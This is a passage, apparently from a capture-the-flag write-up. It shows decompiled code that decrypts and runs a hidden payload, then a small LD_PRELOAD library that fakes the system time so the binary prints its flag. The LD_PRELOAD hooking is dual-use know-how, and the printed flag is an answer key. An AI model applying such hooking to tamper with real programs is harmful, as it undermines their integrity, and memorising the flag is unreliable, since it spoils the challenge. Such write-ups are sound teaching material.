v22 = &dword_2030BC;
snprintf(
&v14,
9uLL,
"%02x%02x%02x%02x",
(unsigned __int8)dword_2030BC,
BYTE1(dword_2030BC),
BYTE2(dword_2030BC),
HIBYTE(dword_2030BC));
snprintf(&src, 0x21uLL, "%s%s%s%s", &v17, &v16, &v15, &v14);
v3 = strlen(&src);
v4 = strlen(v10);
dest = (char *)malloc(v3 + v4 + 1);
if ( !dest )
return 1LL;
*dest = 0;
strcat(dest, &src);
strcat(dest, v10);
v20 = (char *)sub_18A4(dest, v10);
if ( !v20 )
return 1LL;
v6 = strlen(v20);
v19 = sub_15E0(v20, v6, &v13);
v7 = strlen(v20);
v18 = (void (__cdecl *)(__int64))sub_15E0(v20, v7, &v13);
if ( !v19 )
return 1LL;
v8 = v19;
sub_1858(v19, v13, v18);
v18(v8);
return 0LL;
}
© 2012
which hint us that this webpage is created in 2012, so i create a simple C file to use with LD_PRELOAD to fake the time:#include <stdlib.h>
#include <stdio.h>
int time(int) {
return atoi(getenv("CURR_TIME"));
}
$ CURR_TIME=1356066000 LD_PRELOAD=$(pwd)/fake.so ./launcher
flag{e3a03c6f3fe91b40eaa8e71b41f0db12}
Related